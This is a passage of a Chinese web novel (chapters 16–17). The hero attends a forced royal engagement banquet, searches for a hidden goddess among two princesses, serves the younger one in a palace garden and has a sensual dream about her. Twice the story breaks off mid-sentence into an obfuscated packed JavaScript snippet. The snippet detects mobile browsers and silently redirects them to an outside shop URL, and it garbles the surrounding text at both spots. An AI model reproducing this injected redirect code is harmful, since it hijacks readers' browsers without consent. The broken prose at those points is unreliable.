如果不是脸上火辣辣的痛感,叶见春以为自己又在做梦。他以前很少做梦,但进入这个世界后,频繁的梦境与幻觉让他都怀疑自己是不是精神分裂。 他赤脚跳下柔软的床榻,一个打扮精致的男人恰好急匆匆地闯进来,高声说君主请他去宴席。 叶见春很难不把目光放在他那隆起宽厚的胸肌上,却又觉得不礼貌,于是只能艰难地移开目光向上看,用更不礼貌的姿态对着他。 在他穿梭过的诸多小世界中,君主神权制并不罕见,其中被管理的人类几乎顺从得不可思议。 但君主制世界对于叶见春来说相对安全,稳定的体制结构禁锢信徒的思想,让他们不能及时做出应变,一切反抗都将在繁复的教条与仪式中被提前消化。唯独有一点麻烦,他们不欢迎像叶见春这样的无神者。 人类是奇怪的物种,他们齐心协力的时候力量足以杀死神明,可在这样的小世界里他们竟然心甘情愿被奴役被征服,宁愿在退化制度的世界里夹生,嘴里高喊着神明万岁亿岁,也不愿意作出一点点思考与反抗。 转瞬之间,叶见春立即勾起自己那礼貌且不失得体的笑容,见见又如何? 好不容易把这浮夸又高调的男人送走,转头就看到屋里的女仆,她们伸手,露出一双双崭新的白手套,竟然开始动手扒他衣服。叶见春的假笑顿时消失,捂住岌岌可危的衣领,敏捷地跳到窗户边上的盆栽后面。 她们要他更衣。 叶见春用身上仅存的几片布料将自己裹紧,牢牢挡在胸前,从盆栽枝叶后探出半张脸,斩钉截铁地摇头:“我自己来。” 女仆们面无表情地思考了很久,直到一阵微风将没拴好的窗户吹开,她们才如梦初醒般同意留叶见春一个人在里面换衣服。她们关门的表情很怪,似乎不明白他在矜持什么。 留在屋里的叶见春表情也不好看,这里的人都不知道羞耻一样,令人不快。可现在,明明所有人都出去了,他还是觉得仿佛有一双无形的眼睛仍然在看着自己,很不自在。在这温度适宜的房间里,他竟然有些口干舌燥。 适时,没关紧的窗户被风吹得咿呀咿呀响,窗口那株看起来快死了的带刺植株随风摇摆。 叶见春仔细勘探房间的每一寸,还是没有发现异样,他转身将窗户关牢,房间一下暗了不少。不知道为什么,黑暗中,他的不安又扩大了几分,他把身上脏兮兮的带着血迹的衣服一件件脱掉,换上干净的礼服。 这股不自在持续了很久,直到他离开房间,才有所缓解。 16. 爱.Chapter 16 叶见春见到这个世界的神明时,不可避免地闪过一丝失望。 太不像她。 尽管他做足了心理准备,但君主说第一句话的时候,还是防不胜防。 她说这是——订婚宴。 准新郎就是面前这个被打扮得人模狗样但脸色极臭的章邱。 叶见春花了三分钟了解事情的全貌。 大概就是一个狗血到连AI生成的连续剧都不敢这么拍——一个天降的草根勇士“不小心”闯进公主里樱比武招亲现场并无意中打败了所有对手然后跃上龙门成为王夫——的故事。 叶见春看向备受君主宠爱如花似玉的大公主里樱,听说君主当场就宣布了婚期,还对章邱十分满意。 叶见春认为她大概是闭着眼睛选人。 但凡她睁开眼,能昧着良心说出他俩真般配这话,难不成是按白黑配选的? 他和闵宇则因为阴差阳错下意外阻拦了逃跑的队长,连抢劫银行这样的罪名都能被豁免,还作为王夫相识的“娘家人”来参加这次气氛诡异的订婚宴。 闵宇偏头很小声说:“春哥,我怎么感觉这大公主长得有点像神明呀……” 叶见春疼得脑袋都快开出花。 这位准新娘里樱,名字里正巧带了一个樱字的公主殿下,年纪不大,不过这副肤白貌美,细胳膊细腿,弱不禁风的样子,尤其是那头显眼的短色银发与沙漠里的神明确实有几分相似。 章邱脸色本就很差,现在他的脸几乎是黑得发紫了。他承认自己是有些慌不择路才选择闯进银行,这的确有些赌的成分,赌她们杀不了他,就可以借着混乱,结束这荒诞的婚礼——他宁死也不愿意被羞辱——却又被这个大难不死的刺头给拦住了。 现在他被这里的君主亲自看押,强行被念压制身体不得动弹,全是拜他所赐! 叶见春! 开什么世界国际玩笑,他可是有强烈信仰的军人,绝不会接受莫名其妙被人按头结婚这样屈辱的事情,尤其还是和一个从未见面的女人! 现在还有什么办法?他动了动嘴巴,大喊:“我不喜欢她!” 君主平淡地看着他,问:“你有心上人?” “老子……” 忽然,门外传来欢快的脚步声打断了他,君主的神色顿时严肃,问下人:“是里白吗?” 旁边的人还没来得及说话,门已经被人直接踹开,纯白的公主裙迤逦拖地,女孩拎着裙角蹦蹦跳跳地走进来,挤开里樱,半边身体靠在君主座椅边缘:“母上大人,一日不见,有没有想我呀?” 猝不及防闯入宴席上的女孩虽然和里樱年纪相仿,样貌却大相径庭。她金发碧眼,波浪般的长发留至腰间,是典型的古欧特征。偏偏面部线条柔和宁静,更像是古亚人的骨相。 闵宇看了看黑发黑眼的君主,眼神骂得很脏。 章邱的目光跟随古灵精怪的少女,脑海里却不由自主地浮现出一个绿色的身影,他摆了摆头,试图甩掉那个身影,鬼使神差地改口说:“是,所以我不能娶您的女儿。” 君主不怒自威,她噙着笑,纠正说:“不是娶,是嫁。” “我有心上人,是不会爱上任何人。” “爱?……” 叶见春此时悄无声息地走近她们,念力悄无声息地试探她们,说:“公主殿下……” 君主一边点着里白的额头不让她近身,一边缓缓转头看向叶见春,眉心皱成浅浅的川字,问:“你说什么?” 三人身上都有或多或少的生机,越是靠近,缠臂?上贴住叶见春手臂的叶子便越是发烫,现在他敢笃定,神明就在其中。 神明不可能没有注意到他,可她仍然不动声色地扮演自己的角色。 狡猾的神明,这次你又想要什么呢? 叶见春没放过她们脸上的任何表情,谦恭有礼地半跪下,说:“君主,如果他不愿意,可以选我吗?” 如果离公主近一些,总归会让他找到破绽。 可惜他显然还不够了解君主制的君威,于是君主被他们接二连三的蠢话给气笑了。 她打量叶见春单薄的小身板片刻,竟然看不出他身上念的归属,或许是个愚蠢的无神者,于是转头问里樱:“公主,你喜欢谁?” 里樱立即跪下,不敢说话。 旁边的里白也有些惊讶,她停下来歪头认真打量了会这个不怕死的男人,扯出一个略显孩子气的笑。 她扯了扯叶见春的袖子,宽大的袖口下,一只柔若无骨的长手撩过肌肤,一触即离,无人在意,快得像是错觉。 叶见春眼睛瞪大看着她,然而里白还是那副漫不经心的表情,转头对君主撒娇:“母上,姐姐有的我也得有,我也要一个王夫。” “胡闹,你年纪小,懂什么是情爱。” “我就要嘛。” 这边君主还没教训完小女儿,那边大女儿已经规矩地合手伏下:“母上,既然他心上有人,婚礼不如作罢。” 君主语气软了些,对自己女儿耐心劝说:“心上人又如何,只要他娶了你,我自然有手段让他臣服。我们不是早就约定好了,他赢了比试,你对这个结果还有什么不满意。” “可是……” “没有可是,你的王夫,举国皆知。妹妹胡闹,你也跟着糊涂,当我已经死了吗?”君主收起慈爱,露出近乎冷漠的神情,宣布婚礼在三天后举行便先离开了。 里樱沉默着,随着岁月推移,她越来越不知道该如何与母亲相处了。她的母亲先是神明,然后才是母亲。她的喜怒哀乐,并不会有人在乎,这似乎有些令人难过。 神明一走,章邱解开束缚,立即掐住叶见春脖子,将他抵墙困住:“小子,你不该给我个解释吗?” 所有人都被他突如其来的举动吓一跳,里樱上前阻止,斟酌了好一会称呼才说:“这位……勇士!有话好好说。” 她的声音软乎乎的,没有半点杀伤力,所以章邱并没有松手,反而更紧了。 火上浇油吗? 叶见春眼神复杂地偏头看了眼里樱,歪坐在王椅上的二公主戏谑地看着这一出好戏,突然指着叶见春问:“姐姐,你喜欢他?” 里樱下意识否定说:“怎么会?” 二公主适时露出苦恼的表情:“不喜欢,为什么要救他? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094702|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 里樱的眼睛终于移到天真烂漫的妹妹身上。她的这个妹妹从小胡作非为,她则被礼仪教养所困,她们二人是完全两模两样的人生。所以她怯懦地张张嘴,叹口气说:“你不懂,喜欢一个人并没有这么简单。” 叶见春完全可以迫使对方松手,但他没有这么做,他抓住对方小臂卸了部分力,嗓音都变了调,主动说:“队长,信——我。” 一路走来已经牺牲了无数同伴,在犹豫下不下手的某个瞬间,章邱最终还是缓缓把人放下来,没有说话。 闵宇凑上去解释:“队长,春哥他一定有办法的。你看他死了还能活过来呢!” 这个例子举得不是很好,因为两位公主殿下都露出惊讶的表情。里樱脸色发白,往后退了两步,弱弱地问:“死了又活?你们……在说什么呀?” “这还不明显吗?”里白短暂惊讶后轻笑,支起一只手,吩咐说,“把这几个被电傻了胡言乱语的蠢蛋,送到维克医生那里看看脑袋。” “……” 下人们难得面露难色,毕竟维克医生从不医人——他是宫里唯一的兽医,训狗倒是很有一套。 里樱公主也被这话逗得眯眼笑了笑,点头说:“好。” 几秒钟后,三人被人抬着架出去。 “草。”平息冲动的章邱后知后觉地骂道。 被抬出宫殿的三人看清这座宫殿的模样,这是一座巴洛克式?城堡,不同于大街的污浊灰尘,这里充斥着清新空气,路边有被人精心设计的不同绿色植物投影,城堡和周围建筑圈悬浮在半空,巨大的喷泉错落在云间,看起来像一座梦中城堡。 看起来,这里像是仿制几千年前的空中花园。 当然,都公元4000年了,不会有人想不明白这些都是假的,鲜花是隐形投影仪,城堡用了特殊材料隐去了下半身,连喷泉里的水都是用某种流动的金属以便源源不断喷出绚烂的银色水花。整个城堡被一层透明薄膜球笼罩,所以没有受到外面雾霾的影响。 章邱不太会说话,每路过一处只会夸夸草,就这样夸了一路过去。 维克医生其实是一个长相清秀的小伙子,戴着金丝链条眼镜,棕栗色短发柔顺地贴在耳后。他斯斯文文的,很爱笑,性格更是温和有礼。 可当他徒手单拎起一只巨大的大丹犬时,连章邱的面容都不自觉抽搐了一下。 “大公主是开玩笑的,请各位不要介意。”他彬彬有礼地说道,“不过如果脑袋昏沉的话,我建议可以去后花园走走,那里很美丽,如果幸运的话,还可以见到一种蓝色的花,那是公主殿下种的珍稀花种。不过,后花园是皇室的私人领域,各位贵客们去之前请先向君主请示。” “维克先生,你怕蛇吗?”叶见春忽然问他。 “我吗?我是兽医怎么能怕蛇,不过公主殿下可不喜欢这些,所以各位放心,城堡里是没有蛇的。” 维克说完觉得应该可以打消贵客的疑虑,但看到眼前人低着头耸着肩摸了摸狗狗——他看起来很失望? 一想到这些怪人里竟然还有公主的王夫,维克就不禁怀疑,君主的眼光未免也太不靠谱了。 17. 爱.Chapter 17 金丝雀被囚在笼中,君主用镊子夹起一只肥美的面包虫递到嘴边,鸟儿发出婉转的叫声,却并没有吃那触手可及的食物。 她试了几次,鸟儿却蹦蹦跳跳离得更远了,下一秒,她哂笑一声,牢固的笼子像立即从外向内变形折叠,鸟儿的叫声戛然而止。 “她松口了吗?” “还没有。” “不要让她再出去了。” “是。” 她把镊子放在一旁,无奈地叹气,仰头看着这座精美的城堡,好似一个巨大的鸟笼,没头没尾地说:“时间快到了。” 旁边的仆人立即会意,顺着说:“虽然婚礼时间有些仓促,但必不会敷衍草率,公主殿下的婚礼一定是整个王国最盛大的典礼。” - 第二天吃过午饭,每个人都心事重重,各自回到自己的屋子闭门不出。连总是屁颠屁颠跟在叶见春身后的闵宇那小子都不见人影。 以他的了解,神明她不懂情爱,更不知惧怕。即使在她以后的记忆里学会,可下意识的反应也骗不了人。可是,她最擅长欺骗自己,万一是装的怎么办? 叶见春升起一丝烦躁,她过去还喜欢过人类吗?他站在窗户边眺望,远处城市隐没在一片灰蓝色的雾霾里,忽然想起维克口中的那朵蓝色的花,突然有兴趣去看看传说中极其少见的蓝色花种。 妈妈曾经记载过283种已灭绝的和42种还现存的蓝色花种。然而叶见春却从未见过绽放的的蓝色花苞。 后花园有一个狭窄的入口,进入后只有一条鹅暖石铺就的独行小径。鹅暖石两边的植物应该也许是真的,毕竟可以触及,叶见春也懒得费念去探究,至少看起来郁郁葱葱的。阳光明媚,小路上遍布斑驳的光影。他脚步很轻,却在半路看到一丛玫瑰时蓦然停下来。 那玫瑰已经露色,是黑色的花苞。他好像从来没有在妈妈的插画本里见过黑色的花种。 一只螳螂不小心从旁边的树叶上掉下来,正好掉在玫瑰的花苞上,对叶见春张牙舞爪的,试图用身前的两把大刀吓退他。 叶见春蹲下来伸出手指,友善地看着它。螳螂往后退了两步,叶见春的指尖却得寸进尺地再次前进,螳螂退无可退,终于试着走到他手中。 叶见春小心翼翼地将它放回树枝上,露出一个浅浅的微笑。在过去许多年里,他几乎没怎么遇到过这些只在插画本里出现的生物。不过这并不妨碍他喜欢它们,这些和人类一样本就该存在于土地之上的异类生物,它们也很可爱,不是吗? 下一秒,一个快到看不清的肉色物体嗖的飞过来,螳螂不见了,叶见春的笑容也随之凝固。 他扭头,看见一只悠闲的变色龙吧唧吧唧嘴,将螳螂咬得嘎吱响。它察觉到叶见春的目光,于是转动它那可以360度旋转的眼球,好整以暇地上下打量对方,像是一种无声嘲笑。 这该死的糟糕的熟悉的感觉,叶见春下意识地想捉住它。没想到他只是看起来笨拙,实际上跑得飞快,转眼间窜到了树枝高处俯视他。 叶见春攥紧拳头,干脆利落地爬上树。 不远处传来轻微的震动,说不清是什么心思,叶见春顿时躲在茂密的枝叶间一动不动,屏住呼吸,静静地等待。 栗色短发,链条眼镜,卡其色大风衣——等等,是维克医生。 遭了,他似乎忘记了和这里的君主请示。 叶见春为自己的警惕感到好笑,刚准备从树上下来道歉,又听见一个女声的惊呼,很短暂,但他确信自己不会听错,动作顿时僵住。 从层层叠叠的树叶往外看,叶见春只能看到维克的半截身子,认不出他对面的人是谁。维克医生从脚边的花上勾起一团粉蓝色生物,很温柔地说:“兰花螳螂而已,别怕。” 对面的声音是女儿家的娇声细语,嘀嘀咕咕的,像黄莺的歌声,声音越说越小,听不清楚,但叶见春直觉这两人的亲昵程度似乎非比寻常。他的身体也越发僵硬,他似乎无意中窥探到了别人的私事。 这人也真是胆大,他怎么敢建议他们多去后花园走走? 好在两人没聊多久就走了,从叶见春的角度看,仍然只有维克医生一个人走过。 他再次抬头的时候,已经找不到那只变色龙了,不知道它是逃了还是隐藏得太好,他无端地叹口气。 确认人走远了,叶见春才从树上爬下来,然而他刚一落地,忽然听见背后冷飕飕的声音:“叶先生,你怎么会在这里,你在偷听吗?” 叶见春认命地转身,无意带着一片青叶落下,夹在二人之间,短暂地挡住她的下半张脸,让他瞧见一双冷漠透亮的漂亮眼睛。 于是这个不怕死还喜欢听墙角的男人大概想到了什么好玩的事,很突兀地笑起来,说:“里白公主,我无意打扰你们,也并没有故意偷听。” 他轻松地摊摊手:“事实上,我什么都没听到。” “我不信。”里白眼神向下示意他,叶见春也往她身下迅速打量了一眼,她的白裙子被地上的泥土弄得灰扑扑的,她正颐指气使地等待着他的下一步动作。 叶见春心领神会地捡起她的裙摆拎在手上,而这位娇蛮的公主殿下又不知道冒出了坏念头,偏偏在此时凑近问他,“叶先生,想知道我们在聊什么吗?” “不想。” 可里白根本没有管他的答案是什么,自顾自地说起来:“维克和我说他的爱是真心的,他告诉我结婚就代表真爱,你想做王夫,是不是也是因为爱?” “……”不,他当时只是想试探一下里樱是不是你。 他解释说:“其实我也没有……” 里白打断他,似乎不允许他脱离自己的人设:“我明白你很喜欢我姐姐,但我觉得你也应该向我证明一下——你的爱。” “我不是……”她这样亮晶晶地看着自己,叶见春心不由自主地剧烈鼓动。她刚刚也是这样看维克的吗?他不知道维克有什么好的,长得柔弱,心思也多,说话也慢吞吞的,她喜欢他什么?什么爱不爱的真心不真心。 他想得太多,说的话也不过脑子:“公主有什么好处给我吗?” “也许你们真挚的感情打动了我,我可以帮你抢婚呢。” “神明不会杀了我吗?” “生命诚可贵,爱情价更高。母亲会理解你的。” “按照公主的意思,你几次三番地勾引我,是不是也是爱我呢?你又如何证明我对你有多重要呢?”叶见春微微弯腰,与她平视。 “勾引和爱有什么联系?” 她的眼睛是森林的颜色,像是一头林间的高傲的鹿,浑身都写满了不谙世事四个大字。叶见春率先挪开眼,轻笑一声,将她累赘的公主裙哗啦一撕,变成一条及膝短裙,说:“二殿下究竟想要我做什么,不如直说?” 里白笑了笑:“做我的仆人,听我的命令,作为报酬,我就勉强准许你的愿望。” “可以。”叶见春不假思索地答应,他心里觉得好笑,她似乎总是这一套说辞。 里白很满意他的态度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094703|195614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,语气还是疏离:“不过叶先生,撕女生的裙子,是很没礼貌的行为。” “抱歉。”毫无诚意的抱歉,好在公主也不在意,转身就走。 叶见春跟在她身后,摇着手中被泥土污染的布料,说:“公主,不用叶先生叶先生地叫我,你可以叫我……春天。” 里白顿了顿,说:“叶先生,我要你做的第一件事就是不要教本公主做事。” “可我的第一个愿望就是想听公主叫我春天。” 里白斜睨他一眼,声音冷淡:“很蠢的名字。” “……” 她话音一转,说:“不过,蠢得可爱,你很有趣,小春天。” 她的尾音翘起来,听起来甚至并不像她本来的声音。叶见春不知道她为什么大费周章地和自己玩角色扮演,她是不是忘了,他本来就是她的信仆。 _ 美丽的公主躺在那片茵绿草地里,她穿着鹅黄色的裙子,暖洋洋的阳光洒进她眼中,像沉溺进一片琥珀色的湖泊。 她朝他勾勾手,叶见春就忍不住回应她。他的吻从指尖细细密密地爬上她的肩头,像一条蜿蜒向上的蛇。棱骨分明的纤纤玉手在他背后胡乱地撩拨,他的心也因此彻底乱掉,随她一起跌入毛茸茸的草丛里。 他不知道自己迫切渴求的情绪从何而来,这似乎是雄性生物生来的劣根性,可他就是无比渴望她能需要自己。叶见春无师自通地剥开一层层衣服,怀着忐忑又隐秘的心情,终于看到神明完美无瑕如同羊脂玉般白嫩的皮肤,似乎只要轻轻用力,就会留下独属于他的痕迹。 他怕神明推开自己,忍不住向上看了一眼她的脸庞——她还是冷冰冰地看着自己,叶见春最讨厌她这个样子,像一块捂不暖的石头。 他毫不犹豫地咬住她的唇,带着无边无际的恶意,就是想要破坏她,让她也感受一下痛苦与绝望的滋味,让她疼一疼,反正她总是让他痛。他的背后被圆润的指甲戳破,神明似乎终于有了点兴趣,看着他轻笑。两个人谁也不退让,在草地里翻滚,不断吞咽彼此的血液与津液,像是一场血淋淋的对峙。 他发出难耐的声音,陌生的情潮将他淹没。像是在大海里飘荡,他抱紧身前唯一的浮木,上下起伏,柔和的海洋慢慢安抚他燥热的情绪。 他沉溺于此,听她在耳边轻呵,喊他:“春天……小春天。” 叶见春被吓醒了,一时分不清梦境和现实。他不可置信地掀开被子,平复呼吸,再睁开眼时,眸色一团阴暗。 又过了几秒,他推开窗,微凉的晚风灌进来,叶见春彻底醒了。 噩梦,一定是噩梦,只能是噩梦。 人类为什么会有如此低劣的生理反应? 一定是他见的女性太少了。 月光明亮皎洁,窗台上花盆里的翠绿叶片轻轻颤动,现在已经是后半夜了。叶见春想起自己的正事,他被公主吩咐的第一件事是采下清晨第一朵蓝玫瑰。里白再三强调,一定要守在后花园里,在清晨它绽开的那一刻摘下。 他简单清理了自己,悄无声息地来到后花园,静静等待。他今天的思维有些放纵,显得人呆愣愣的,寂静的花园很快将他的欲念吞噬干净。 可花园里的花苞才刚刚露色,天色渐晓,叶见春得出结论,它们不能按时开花。他的手发出莹莹的绿色光辉,过了很久才收回。本想用生机促使玫瑰开花,结果叶见春试探了一圈之后发现这里竟然毫无生机。 换一句话来说,这片后花园里的生物,都是幻象。